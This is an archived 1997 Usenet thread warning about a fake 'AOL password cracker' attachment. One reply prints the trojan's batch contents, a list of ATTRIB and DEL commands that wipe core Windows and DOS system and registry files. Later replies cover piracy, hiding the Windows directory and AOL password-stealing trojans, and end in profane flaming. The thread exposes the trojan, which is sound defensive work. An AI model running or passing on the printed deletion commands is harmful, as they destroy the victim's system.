AOL PASSWORD CRACKER REPOST
Matt Buckley-Golder
READ THIS FIRST
Here are the contents of that BAT-2-COM "password cracker":
Da Ultimate Crack
by Plucky Duck &
Da AC-DC Boy
---------------------------
Cracking...
Done...
DEL c:\windows\win.ini
DEL c:\windows\system.ini
ATTRIB -r -a -s -h c:\command.com
DEL c:\command.com
ATTRIB -r -a -s -h c:\windows\user.dat
DEL c:\windows\user.dat
ATTRIB -r -a -s -h c:\windows\user.da0
DEL c:\windows\user.da0
ATTRIB -r -a -s -h c:\windows\system.dat
DEL c:\windows\system.dat
ATTRIB -r -a -s -h c:\windows\system.da0
DEL c:\windows\system.da0
ATTRIB -r -a -s -h c:\io.sys
DEL c:\io.sys
...NOW decide if you want to run it :)
Matt.
C. Capps
Bobby wrote:
>
> AOL PASSWORD CRACKER REPOST
>
>
> Name: aolpasscrk.com
> aolpasscrk.com Type: MS-DOS Application (application/x-unknown-content-type-comfile)
> Encoding: base64
Good God, what's that doing here? It is also widely known as the FrontPage 98
Crack, a registry cleaner, and a half dozen other things. Joy.
C. Capps
"Of all the things I've lost in life, I miss my mind the most"
The Utopia Planitia Trek Ship Database:
http://www.behaviour.co.uk/Utopia/lcars.htm
@@@@ Make sure to remove the asteriks in my e-mail address when responding! @@@@
Ryan Koski
TownDrunk wrote:
>
> Makes me glad my windows directory isn't called windows.... :-)
That's the easiest way to avoid *SO* many so-called "security risks" on the
net. In fact, I've named my windows directory something so random that I'd be
impressed if any wannabe cracker wrote a trojan horse for it...
--
_________________________________________________________________________
Ryan Koski | EMail: rko...@primenet.com
MIS Undergrad | Talk: rko...@interceptor.tus.primenet.com
The University of Arizona | WWW: Get a life...
Tim Murphy
Ryan,
I hate to burst your bubble but I could easily find out your Windows
directory. I would just make a call to the Windows API function
GetWindowsDirectory(). Quoting from the Windows API help file "The
GetWindowsDirectory function retrieves the path of the Windows directory."
Tim
Ryan Koski <rko...@primenet.com> wrote in article
<3404B73A...@primenet.com>...
>
> That's the easiest way to avoid *SO* many so-called "security risks" on
the
> net. In fact, I've named my windows directory something so random that
I'd be
> impressed if any wannabe cracker wrote a trojan horse for it...
>
Ryan Koski
Tim Murphy wrote:
> I hate to burst your bubble but I could easily find out your Windows
> directory. I would just make a call to the Windows API function
> GetWindowsDirectory(). Quoting from the Windows API help file "The
> GetWindowsDirectory function retrieves the path of the Windows directory."
Very true, but you aren't going to do it from a batch file. ;-) Besides, I
never run ANY code that isn't obtained from a "reasonably" trusted source.
Forget download.com and the shareware "archives"; I obtain my software from
the company's own web site. Granted, that could still be corrupt, but the
likelihood of a company distributing virus infested and/or trojan horse
archives is rather low.
--
_________________________________________________________________________
Chip Ciammaichella
I guess that anyone crooked enough to want to crack passwords and dumb
enough to open a bat file attached to a post from an unknown source deserves
whatever they get.
--
Regards,
Chip Ciammaichella
Webmaster - Raton Chamber & Economic Development Council
http://www.raton.com/
"A journey of ten thousand miles begins with one small step."
--
John Tubbs wrote in message <01bcb324$4fd3b3c0$559b5ecc@jmtubbs>...
>You should be ashamed of yourself. Does your mother know how mean you are?
>
>Bobby <bo...@bobby.com> wrote in article <3403BB...@bobby.com>...
>> AOL PASSWORD CRACKER REPOST
>>
C. Capps
Jessie Palmer wrote:
>
> It's a virus right?
No, not exactly. It's a trojan. IT's a program that looks like it's
something good, while in this case, it wipes out your key system files.
> Thank God I didn't download it. If I did my dad would
> kill me. We have Office 97 fully installed and after the installation, he
> sold the CD to a friend. If I would of lost office i would of been dead.
Whoops there. That's quite a violation of MS's EULA...
> Oh yeah, I've read that most viruses end in .com
Actually, most don't "end" in anything...
David John Bird
Beware everybody - do not run the attached file of the message to which this message is a reply.
There are several messages of this style posted to these newsgroups and no matter what the subject line may say and the file
purports to contain they all do the same thing - the file deletes your main system files.
Avoid these posts at all costs.
The bottom line is to only run attached files if you can verify their source or check their contents first.
David B.
Greg W
You DO know its ILLEGAL (as in a federal offense) to install office 97 on
more then one computer dont you? You must have because if i remember
correctly you agreed to the Microsoft EULA specifically prohibiting
unauthorized distribution upon installing office.
Whats even more ironic is that this IS a microsoft message board... boy wont
ur dad be suprized when the feds show up!!!
Jessie Palmer wrote in article ...
>It's a virus right? Thank God I didn't download it. If I did my dad would
>kill me. We have Office 97 fully installed and after the installation, he
>sold the CD to a friend. If I would of lost office i would of been dead.
>
>Oh yeah, I've read that most viruses end in .com
>
>Bobby wrote in article <3403BB...@bobby.com>...
>
>>AOL PASSWORD CRACKER REPOST
>>
>
>
J/K but i wouldnt blurt out stuff like that again
Greg
Nick Mercauto
On Wed, 27 Aug 1997 21:45:49 -0700, "Jessie Palmer"
<me...@hotmail.com> wrote:
>How do I get in trouble? We only have one computer. I'm the only one who
>uses the Cd and the computer. What are you talking about?
>
>Jessie Palmer wrote in article ...
>
>>It's a virus right? Thank God I didn't download it. If I did my dad would
>>kill me. We have Office 97 fully installed and after the installation, he
>>sold the CD to a friend. If I would of lost office i would of been dead.
>>
>>Oh yeah, I've read that most viruses end in .com
>>
>>Bobby wrote in article <3403BB...@bobby.com>...
>>
>>>AOL PASSWORD CRACKER REPOST
***If your Dad sold the CD to a friend, that is a total violation of
federal law and Microsoft's End User License Agreement, but then
again, if you read and agreed to that, you'd know! It's called
software piracy, and they take it VERY seriously.***
Donald Grover
Hey why not just reference %windir%
best idea is to rename critical exacutables with a # or ! in front
Tim Murphy wrote in article <01bcb34e$da3ec8e0$59be20cb@ms-586-01>...
>Ryan,
>
>I hate to burst your bubble but I could easily find out your Windows
>directory. I would just make a call to the Windows API function
>GetWindowsDirectory(). Quoting from the Windows API help file "The
>GetWindowsDirectory function retrieves the path of the Windows directory."
>
>Tim
>
>Ryan Koski <rko...@primenet.com> wrote in article
><3404B73A...@primenet.com>...
>>
>> That's the easiest way to avoid *SO* many so-called "security risks" on
>the
>> net. In fact, I've named my windows directory something so random that
>I'd be
>> impressed if any wannabe cracker wrote a trojan horse for it...
>>
Tom Koch
The violation is this: if he sold the CD to someone else, then he should
have uninstalled it from his machine. The friend can (and probably did)
install it on his machine, meaning there are now 2 machines running the same
copy of Office. And that is illegal.
Tom Koch
chi...@xs4all.nl
Awareness is free.
Jessie Palmer wrote in article
<#U#sv02s8...@uppssnewspub05.moswest.msn.net>...
Bill Hines
The next time you are in the store with your dad, pick up something of
interest to you and ask your dad if you can steal it. When he says no,
then ask why it's OK for him to steal from software companies just
because it's easier to get away with. I can't believe so many people
do this stuff and then react in shock when their kids do something
unethical and immoral!
You sound like a good kid, but really if you sell something you don't
own it anymore and shouldn't use it. It's always more hassle than it's
worth, like you'll find out if your copy gets toasted somehow, and you
get to have a clear conscience if you don't steal.
Bill
On Wed, 27 Aug 1997 21:45:49 -0700, "Jessie Palmer"
<me...@hotmail.com> wrote:
>How do I get in trouble? We only have one computer. I'm the only one who
>uses the Cd and the computer. What are you talking about?
>
>Jessie Palmer wrote in article ...
>
>>It's a virus right? Thank God I didn't download it. If I did my dad would
>>kill me. We have Office 97 fully installed and after the installation, he
>>sold the CD to a friend. If I would of lost office i would of been dead.
>>
>>Oh yeah, I've read that most viruses end in .com
>>
>>Bobby wrote in article <3403BB...@bobby.com>...
>>
>>>AOL PASSWORD CRACKER REPOST
>>>
>>
>>
>
>
Bill Hines
Blue Sky Computing Corp
Hershey, PA
Steve Shattuck
-----Original Message-----
From: Jessie Palmer <me...@hotmail.com>
Newsgroups:
alt.aol-sucks,alt.windows95,microsoft.test,microsoft.public.inetexplorer.ie4
,microsoft.public.frontpage.client,microsoft.public.inetexplorer.ie4.announc
ements,microsoft.public.inetexplorer.ie3,alt.news.microsoft
Date: Wednesday, August 27, 1997 22:53
Subject: Re: AOL PASSWORD CRACKER REPOST
>It's a virus right?
No it is a Trojan horse.
>Thank God I didn't download it. If I did my dad would kill me. We have
Office 97 fully
>installed and after the installation, he sold the CD to a friend.
I'll bet he appreciates the fact that you have exposed him as a software
pirate here on an International Usenet group. Your father didn't raise any
smart kids did he?
>If I would of lost office i would of been dead.
You may be yet if the software police arrive at his door.
>Oh yeah, I've read that most viruses end in .com
Not even remotely true, and this is NOT a virus.
Tom Pepper
The two words are interchangeable.
--
Tom Pepper - Sharp Communication, Inc.
to...@sharpcom.com
http://www.sharpcom.com
David <coy...@kincyb.com> wrote in article
<#DsVM5Dt...@uppssnewspub05.moswest.msn.net>...
That is, of course, assuming that his Dad isn't a professional thief or
Politicain...:)
David
----------------------------------------------------------------------------
----
Bill Hines wrote in article <340580ff...@msnews.microsoft.com>...
>The next time you are in the store with your dad, pick up something of
>interest to you and ask your dad if you can steal it. When he says no,
>then ask why it's OK for him to steal from software companies just
>because it's easier to get away with. I can't believe so many people
>do this stuff and then react in shock when their kids do something
>unethical and immoral!
----------
Arjan Rodenburg
Like car and automobile ??
different words, same object. :-))
Arjan Rodenburg
Tom Pepper wrote in article
<01bcb46c$4c0cb4a0$88f1...@tompc.sharpcom.com>...
Freedom
Freedom answers;
LOL LOL Yes its great,,,but keep it a secret......
Let Freedom Ring
TJ Dains
Jessie Palmer wrote:
>
> It's a virus right? Thank God I didn't download it. If I did my dad would
> kill me. We have Office 97 fully installed and after the installation, he
>
> Oh yeah, I've read that most viruses end in .com
>
The correct term for this type of program is "Trojan Horse" - since it
is offering one thing, but turns out being destructive. And Trojans and
virii can end with any extension. Most of the password sniffing
programs sent to members on AOL are either .zip files containing
setup.exe and all of the files needed to capture your password and mail
it to another account, or are sent as self-extracting programs ending
with .exe which does the same thing.
It is the Trojan Horse programs that finally lead AOL (in its typical
reactionary style) to put warnings on files attached to email before
being downloaded. Too little, too late - since quite possibly a quarter
of its membership has probably download such wonderful promised programs
as "OH Generator" and "Guide Tools" sent out by the wannabee-hackerz
giving them what amounts to unlimited access to AOL at others expense.
--
My e-mail address has been modified to prevent SPAMMING.
*** Remove "-NOSPAM-" from address to respond via email ***
Zoomie
What the hell IS this thing? I downloaded this just to read it.....I
stupidly thought it was an article about those hideous password
harvester's on AOL. Wrong. It gave me a virus that attacked my
desktop.ini file. Luckily my Norton repaired it and my hard drive
showed clean. However, I am now afraid that something terrible is
going to happen in the long run. Is there anything else I can do to
make sure I have not let loose a hellish vermin on my PC??
>David=20
>-------------------------------------------------------------------------=
>-------
>Bill Hines wrote in article <340580ff...@msnews.microsoft.com>...
>>The next time you are in the store with your dad, pick up something of
>>interest to you and ask your dad if you can steal it. When he says no,
>>then ask why it's OK for him to steal from software companies just
>>because it's easier to get away with. I can't believe so many people
>>do this stuff and then react in shock when their kids do something
>>unethical and immoral!
>------=_NextPart_000_0001_01BCAC4C.63ACEB20
>Content-Type: text/html;
> charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
><HTML>
><HEAD>
><META content=3Dtext/html;charset=3Diso-8859-1 =
>http-equiv=3DContent-Type>
><META content=3D'"MSHTML 4.71.1008.3"' name=3DGENERATOR>
></HEAD>
><BODY>
><P><FONT size=3D2>That is, of course, assuming that his Dad isn't a =
>professional=20
>thief or Politicain...:)</FONT></P>
><P><FONT size=3D2></FONT>
><P><FONT size=3D2></FONT>
><P><FONT size=3D2><FONT>David</FONT> </FONT>
><P><FONT size=3D2>
><HR>
></FONT>
><P>Bill Hines wrote in article=20
><340580ff...@msnews.microsoft.com>...</P><FONT =
>size=3D2>>The next=20
>time you are in the store with your dad, pick up something =
>of<BR>>interest to=20
>you and ask your dad if you can steal it. When he says no,<BR>>then =
>ask why=20
>it's OK for him to steal from software companies just<BR>>because =
>it's easier=20
>to get away with. I can't believe so many people<BR>>do this stuff =
>and then=20
>react in shock when their kids do something<BR>>unethical and=20
>immoral!</FONT></BODY></HTML>
>------=_NextPart_000_0001_01BCAC4C.63ACEB20--
Fibber
Jesus h ....you know the rest.
Get your dad to back up the office stuff immediately.
The very operating system is considered my many to be the biggest
virus of all. It's called Win anything, any year and anytime.
Back Up! Back up! Back UP! noW, nOW, NOW!!!
ÇÃR£Ø§ ÇÃ|\\/|à R Ø
This is a multi-part message in MIME format.
------=_NextPart_000_01BCB55A.76B21E40
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Zoomie <Zoo...@toka.com> wrote in article <5u8h44$mj1$1...@brokaw.wa.com>...
> What the hell IS this thing? I downloaded this just to read it.....I
> stupidly thought it was an article about those hideous password
> harvester's on AOL. Wrong. It gave me a virus that attacked my
> desktop.ini file. Luckily my Norton repaired it and my hard drive
> showed clean. However, I am now afraid that something terrible is
> going to happen in the long run. Is there anything else I can do to
> make sure I have not let loose a hellish vermin on my PC??
>
Use a rubber.
--
Carlos Camaro
Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
" Well if you think you're so fucking tough cocksukcer
I dare you to come up here right now
and take a Piece of Me!!
***Bas Bach really pissed at the bottle thrown at him.***]
http://www.geocities.com/SunsetStrip/Stage/4794/home.html
ICQ# 2399045
------=_NextPart_000_01BCB55A.76B21E40
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<html><head></head><BODY bgcolor=3D"#FFFFFF"><p><font size=3D6 =
color=3D"#000000" face=3D"MisterEarl BT"><br><br><br><br><font =
color=3D"#008080">Zoomie <<font =
color=3D"#0000FF"><u>Zoo...@toka.com</u><font color=3D"#008080">> =
wrote in article <<font =
color=3D"#0000FF"><u>5u8h44$mj1$1...@brokaw.wa.com</u><font =
color=3D"#008080">>...<br>> What the hell IS this thing? I =
downloaded this just to read it.....I<br>> stupidly thought it was an =
article about those hideous password<br>> harvester's on AOL. =
Wrong. It gave me a virus that attacked my<br>> =
desktop.ini file. Luckily my Norton repaired it and my hard =
drive<br>> showed clean. However, I am now afraid that =
something terrible is<br>> going to happen in the long run. Is =
there anything else I can do to<br>> make sure I have not let loose a =
hellish vermin on my PC??<br>><br><font color=3D"#000000"><br>Use a =
rubber.<br>-- <br><br> Carlos =
Camaro<br><br>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0<br><br>" =
Well if you think you're so fucking tough cocksukcer<br> I dare you to =
come up here right now <br>and take a Piece of Me!! <br>***Bas =
Bach really pissed at the bottle thrown at =
him.***]<br><br>http://www.geocities.com/SunsetStrip/Stage/4794/home.html=
<br> ICQ# 2399045 <br><font color=3D"#008080"> <br><br></p>
</font></font></font></font></font></font></font></font></body></html>
------=_NextPart_000_01BCB55A.76B21E40--
Chip Ciammaichella
cam...@prtc.ne if anyone is interested.
--
Regards,
Chip Ciammaichella
Webmaster - Raton Chamber & Economic Development Council
http://www.raton.com/
Win95 & IE Resource Page - http://www.raton.com/~chip/reskit.htm
"A journey of ten thousand miles begins with one small step."
--
ÇĂRŁŘ§ ÇĂ|\/|Ă R Ř wrote in message
<01bcb57b$fdc3be40$5a4d92cc@harrycal>...
Not ME Jim Jr
This is a multi-part message in MIME format.
------=_NextPart_000_0150_01BCB587.9032EC00
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0151_01BCB587.9032EC00"
------=_NextPart_001_0151_01BCB587.9032EC00
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
WARNING
Yes It can be anybody , Can't It...??
really James Driscoll Jr,?
=20
Margaret wrote in message ...
Chip, how do you know that? This could be a phony address, yes?
-----
Margaret
=20
>cam...@prtc.ne if anyone is interested.
>
>--
=20
=20
------=_NextPart_001_0151_01BCB587.9032EC00
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.71.1125.1"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#000000>
<DIV><IMG align=3Dbaseline alt=3D"" border=3D0 hspace=3D0=20
src=3D"cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net"><STRONG><FONT=
=20
size=3D6><FONT color=3D#ff0000>WARNING</FONT></FONT></STRONG></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT color=3D#c0c0c0><STRONG><FONT size=3D4>Yes It can be =
anybody ,=20
Can't It...??</FONT></STRONG></FONT></DIV>
<DIV><STRONG><FONT color=3D#c0c0c0 size=3D4>really <FONT =
color=3D#ffff00><A=20
href=3D"mailto:spac...@mdc.net">James Driscoll=20
Jr</A></FONT>,?</FONT></STRONG></DIV>
<DIV><STRONG><FONT color=3D#c0c0c0 size=3D4></FONT></STRONG> </DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
<DIV><FONT color=3D#c0c0c0><STRONG></STRONG></FONT> </DIV>
<DIV><FONT color=3D#c0c0c0><STRONG></STRONG></FONT> </DIV>
<DIV><FONT =
color=3D#c0c0c0><STRONG>Margaret<TWV...@MAIL.CONNECT.MORE.NET>=20
wrote in message<OUOPPZA...@UPPSSNEWSPUB04.MOSWEST.MSN.NET>=20
...</STRONG></FONT></DIV><FONT color=3D#c0c0c0><STRONG><FONT =
size=3D2>Chip, how=20
do you know that? This could be a phony address,=20
yes?<BR>-----<BR>Margaret<BR><BR>><A=20
href=3D"mailto:cam...@prtc.ne">cam...@prtc.ne</A> if anyone is=20
=
interested.<BR>><BR>>--<BR></STRONG><BR></FONT></FONT></BLOCKQUOTE>=
</BODY></HTML>
------=_NextPart_001_0151_01BCB587.9032EC00--
------=_NextPart_000_0150_01BCB587.9032EC00
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>
<encoded_portion_removed>
8pr3vOhNr3rXy972uve98I2vdwMCADs=
------=_NextPart_000_0150_01BCB587.9032EC00--
Merell L. Matlock, Jr.
Do you mean prtc.net?
--
Merell
Chip Ciammaichella wrote in article ...
>cam...@prtc.ne if anyone is interested.
>
>--
ÇÃR£Ø§ ÇÃ|\\/|à R Ø
This is a multi-part message in MIME format.
------=_NextPart_000_01BCB589.528312C0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Merell L. Matlock, Jr. <mer...@hom.net> wrote in article
<#kjYuiat...@uppssnewspub05.moswest.msn.net>...
> Do you mean prtc.net?
>
> --
> Merell
>
WHAT IS WRONG WITH YOU IDIOTS? YEAH THAT'S MY SERVER. NOT TOO MUCH
DETECTIVE WORK TO FIGURE OUT MY EMAIL ADDRESS, ALL YOU HAVE TO DO IS CLICK
REPLY TO AUTHOR, NOT MUCH DETECTIVE WORK FIGURING THAT OUT. I WONDER WHY
I'M ALWAYS THE LIFE OF THE PARTY WHEN I POST IN A NEWSGROUP.
--
Carlos Camaro
Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
http://www.geocities.com/SunsetStrip/Stage/4794/home.html
ICQ# 2399045
------=_NextPart_000_01BCB589.528312C0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<html><head></head><BODY bgcolor=3D"#7BC7FF"><p><font size=3D6 =
color=3D"#000080" face=3D"AlgerianBasD"><b><br>Merell L. Matlock, Jr. =
<<font color=3D"#0000FF"><u>mer...@hom.net</u><font =
color=3D"#000080">> wrote in article <#<font =
color=3D"#0000FF"><u>kjYuiat...@uppssnewspub05.moswest.msn.net</u><fo=
nt color=3D"#000080">>...<br>> Do you mean prtc.net?<br>> =
<br>> --<br>> Merell<br>> <br><br> WHAT IS WRONG WITH YOU =
IDIOTS? YEAH THAT'S MY SERVER. NOT TOO MUCH DETECTIVE WORK TO FIGURE OUT =
MY EMAIL ADDRESS, ALL YOU HAVE TO DO IS CLICK REPLY TO AUTHOR, NOT MUCH =
DETECTIVE WORK FIGURING THAT OUT. I WONDER WHY I'M ALWAYS THE LIFE OF =
THE PARTY WHEN I POST IN A NEWSGROUP.<br>-- <br><br> =
Carlos =
Camaro<br><br>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0<br><br>" =
Well if you think you're so fucking tough cocksukcer<br> I dare you to =
come up here right now <br>and take a Piece of Me!! <br>***Bas =
Bach really pissed at the bottle thrown at =
him.***]<br><br>http://www.geocities.com/SunsetStrip/Stage/4794/home.html=
<br> ICQ# 2399045 <br><br>> <br>> Chip Ciammaichella wrote in =
article ...<br>> <br>> ><font =
color=3D"#0000FF"><u>cam...@prtc.ne</u><font color=3D"#000080"> if =
anyone is interested.<br>> ><br>> >--<br>> =
>Regards,<br>> ><br>> >Chip Ciammaichella<br>> =
>Webmaster - Raton Chamber & Economic Development Council<br>> =
><font color=3D"#0000FF"><u>http://www.raton.com/</u><font =
color=3D"#000080"><br>> ><br>> >Win95 & IE Resource Page =
- <font =
color=3D"#0000FF"><u>http://www.raton.com/~chip/reskit.htm</u><font =
color=3D"#000080"><br>> ><br>> >"A journey of ten =
thousand miles begins with one small step."<br>> ><br>> =
>--<br>> >=C7=C3R=A3=D8=A7 =C7=C3|\/|=C3 R =D8 wrote in =
message<br>> ><<font =
color=3D"#0000FF"><u>01bcb57b$fdc3be40$5a4d92cc@harrycal</u><font =
color=3D"#000080">>...<br>> >><br>> >><br>> =
>><br>> >><br>> >>Zoomie <<font =
color=3D"#0000FF"><u>Zoo...@toka.com</u><font color=3D"#000080">> =
wrote in article <<font =
color=3D"#0000FF"><u>5u8h44$mj1$1...@brokaw.wa.com</u><font =
color=3D"#000080">>...<br>> >>> What the hell IS this =
thing? I downloaded this just to read it.....I<br>> =
>>> stupidly thought it was an article about those hideous =
password<br>> >>> harvester's on AOL. Wrong. It =
gave me a virus that attacked my<br>> >>> desktop.ini file. =
Luckily my Norton repaired it and my hard drive<br>> =
>>> showed clean. However, I am now afraid that something =
terrible is<br>> >>> going to happen in the long run. =
Is there anything else I can do to<br>> >>> make sure =
I have not let loose a hellish vermin on my PC??<br>> =
>>><br>> >><br>> >>Use a rubber.<br>> =
>>--<br>> >><br>> >> =
Carlos Camaro<br>> >><br>> =
>>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0<br>> =
>><br>> >>" Well if you think you're so fucking =
tough cocksukcer<br>> >> I dare you to come up here right =
now<br>> >>and take a Piece of Me!!<br>> >>***Bas Bach =
really pissed at the bottle thrown at him.***]<br>> >><br>> =
>><font =
color=3D"#0000FF"><u>http://www.geocities.com/SunsetStrip/Stage/4794/home=
.html</u><font color=3D"#000080"><br>> >> ICQ# 2399045<br>> =
>><br>> >><br>> ><br>> ><br>> <br>> =
<br>> </p>
</font></font></font></font></font></font></font></font></font></font></f=
ont></font></font></font></font></font></font></font></font></body></html=
>
------=_NextPart_000_01BCB589.528312C0--
ÇÃR£Ø§ ÇÃ|\\/|à R Ø
This is a multi-part message in MIME format.
------=_NextPart_000_01BCB589.E47437E0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
WOULD SOMEONE MIND TELLING ME WHAT'S YOUR OBSESSION WITH ME? I'M THE LIFE
OF THE PARTY AND ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU
ALL MADE ME A SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING
BANDWITH.
MAIL ME, DON'T FUCK UP THE NEWSGROUP WITH THIS SHIT.
--
Carlos Camaro
Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
" Well if you think you're so fucking tough cocksukcer
I dare you to come up here right now
and take a Piece of Me!!
***Bas Bach really pissed at the bottle thrown at him.***]
http://www.geocities.com/SunsetStrip/Stage/4794/home.html
ICQ# 2399045
Not ME Jim Jr <no...@my.net> wrote in article
<eP8CCka...@uppssnewspub05.moswest.msn.net>...
[<cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>] WARNING Yes It
can be anybody , Can't It...?? really James Driscoll Jr
<mailto:spac...@mdc.net>,?
Margaret wrote in message ...Chip, how do you know that? This could be a
phony address, yes?
-----
Margaret
>cam...@prtc.ne <mailto:cam...@prtc.ne> if anyone is interested.
>
>--
------=_NextPart_000_01BCB589.E47437E0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<html><head></head><BODY bgcolor=3D"#000000"><p><font size=3D6 =
color=3D"#FFFF00" face=3D"AlgerianBasD"><b>WOULD SOMEONE MIND TELLING ME =
WHAT'S YOUR OBSESSION WITH ME? I'M THE LIFE OF THE PARTY AND =
ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU ALL MADE ME A =
SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING =
BANDWITH.<br><br>MAIL ME, DON'T FUCK UP THE NEWSGROUP WITH THIS =
SHIT.<br><br>cam...@prtc.net<br><br><br>-- <br><br> =
Carlos =
Camaro<br><br>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0<br><br>" =
Well if you think you're so fucking tough cocksukcer<br> I dare you to =
come up here right now <br>and take a Piece of Me!! <br>***Bas =
Bach really pissed at the bottle thrown at =
him.***]<br><br>http://www.geocities.com/SunsetStrip/Stage/4794/home.html=
<br> ICQ# 2399045 <br><br>Not ME Jim Jr <<u>no...@my.net</u>> =
wrote in article =
<<u>eP8CCka...@uppssnewspub05.moswest.msn.net</u>>...<br>[<=
cid:<u>014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net</u>>] WARNING =
Yes It can be anybody , Can't It...?? really James =
Driscoll Jr <<u>mailto:spac...@mdc.net</u>>,? </p>
<p> Margaret wrote in message ...Chip, how do you know that? =
This could be a phony address, =
yes?<br>-----<br>Margaret<br><br>><u>cam...@prtc.ne</u> =
<<u>mailto:cam...@prtc.ne</u>> if anyone is =
interested.<br>><br>>--<br><br></p>
<p><br></p>
</font></body></html>
------=_NextPart_000_01BCB589.E47437E0--
ÇÃR£Ø§ ÇÃ|\\/|à R Ø
This is a multi-part message in MIME format.
------=_NextPart_000_01BCB588.A9DF61A0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
That's right folks, I am single and if you are interested you can mail me
and I'll send you my resume.
Now can we talk about IE 4.0?
carlos camaro
Chip Ciammaichella <ch...@raton.com> wrote in article
<e6glZLY...@uppssnewspub05.moswest.msn.net>...
> cam...@prtc.ne if anyone is interested.
>
> --
> Regards,
>
> Chip Ciammaichella
> Webmaster - Raton Chamber & Economic Development Council
> http://www.raton.com/
>
> Win95 & IE Resource Page - http://www.raton.com/~chip/reskit.htm
>
> "A journey of ten thousand miles begins with one small step."
>
> --
> ÇĂRŁŘ§ ÇĂ|\/|Ă R Ř wrote in message
> <01bcb57b$fdc3be40$5a4d92cc@harrycal>...
> >
> >
> >
> >
> >Zoomie <Zoo...@toka.com> wrote in article
<5u8h44$mj1$1...@brokaw.wa.com>...
> >> What the hell IS this thing? I downloaded this just to read it.....I
> >> stupidly thought it was an article about those hideous password
> >> harvester's on AOL. Wrong. It gave me a virus that attacked my
> >> desktop.ini file. Luckily my Norton repaired it and my hard drive
> >> showed clean. However, I am now afraid that something terrible is
> >> going to happen in the long run. Is there anything else I can do to
> >> make sure I have not let loose a hellish vermin on my PC??
> >>
> >
> >Use a rubber.
> >--
> >
> > Carlos Camaro
> >
> >Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
> >
> >" Well if you think you're so fucking tough cocksukcer
> > I dare you to come up here right now
> >and take a Piece of Me!!
> >***Bas Bach really pissed at the bottle thrown at him.***]
> >
> >http://www.geocities.com/SunsetStrip/Stage/4794/home.html
> > ICQ# 2399045
> >
> >
>
>
>
------=_NextPart_000_01BCB588.A9DF61A0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
<html><head></head><BODY bgcolor=3D"#7BC7FF"><p><font size=3D6 =
color=3D"#000080" face=3D"MisterEarl BT">That's right folks, I am single =
and if you are interested you can mail me and I'll send you my =
resume.<br>Now can we talk about IE 4.0?<br><br>carlos =
camaro<br><br>Chip Ciammaichella <<font =
color=3D"#0000FF"><u>ch...@raton.com</u><font color=3D"#000080">> =
wrote in article <<font =
color=3D"#0000FF"><u>e6glZLY...@uppssnewspub05.moswest.msn.net</u><f=
ont color=3D"#000080">>...<br>> <font =
color=3D"#0000FF"><u>cam...@prtc.ne</u><font color=3D"#000080"> if =
anyone is interested.<br>> <br>> --<br>> Regards,<br>> =
<br>> Chip Ciammaichella<br>> Webmaster - Raton Chamber & =
Economic Development Council<br>> <font =
color=3D"#0000FF"><u>http://www.raton.com/</u><font =
color=3D"#000080"><br>> <br>> Win95 & IE Resource Page - <font =
color=3D"#0000FF"><u>http://www.raton.com/~chip/reskit.htm</u><font =
color=3D"#000080"><br>> <br>> "A journey of ten thousand =
miles begins with one small step."<br>> <br>> --<br>> =
=C7=C3R=A3=D8=A7 =C7=C3|\/|=C3 R =D8 wrote in message<br>> <<font =
color=3D"#0000FF"><u>01bcb57b$fdc3be40$5a4d92cc@harrycal</u><font =
color=3D"#000080">>...<br>> ><br>> ><br>> ><br>> =
><br>> >Zoomie <<font =
color=3D"#0000FF"><u>Zoo...@toka.com</u><font color=3D"#000080">> =
wrote in article <<font =
color=3D"#0000FF"><u>5u8h44$mj1$1...@brokaw.wa.com</u><font =
color=3D"#000080">>...<br>> >> What the hell IS this thing? =
I downloaded this just to read it.....I<br>> >> stupidly =
thought it was an article about those hideous password<br>> >> =
harvester's on AOL. Wrong. It gave me a virus that attacked =
my<br>> >> desktop.ini file. Luckily my Norton repaired =
it and my hard drive<br>> >> showed clean. However, I am =
now afraid that something terrible is<br>> >> going to happen =
in the long run. Is there anything else I can do to<br>> =
>> make sure I have not let loose a hellish vermin on my =
PC??<br>> >><br>> ><br>> >Use a rubber.<br>> =
>--<br>> ><br>> > Carlos =
Camaro<br>> ><br>> =
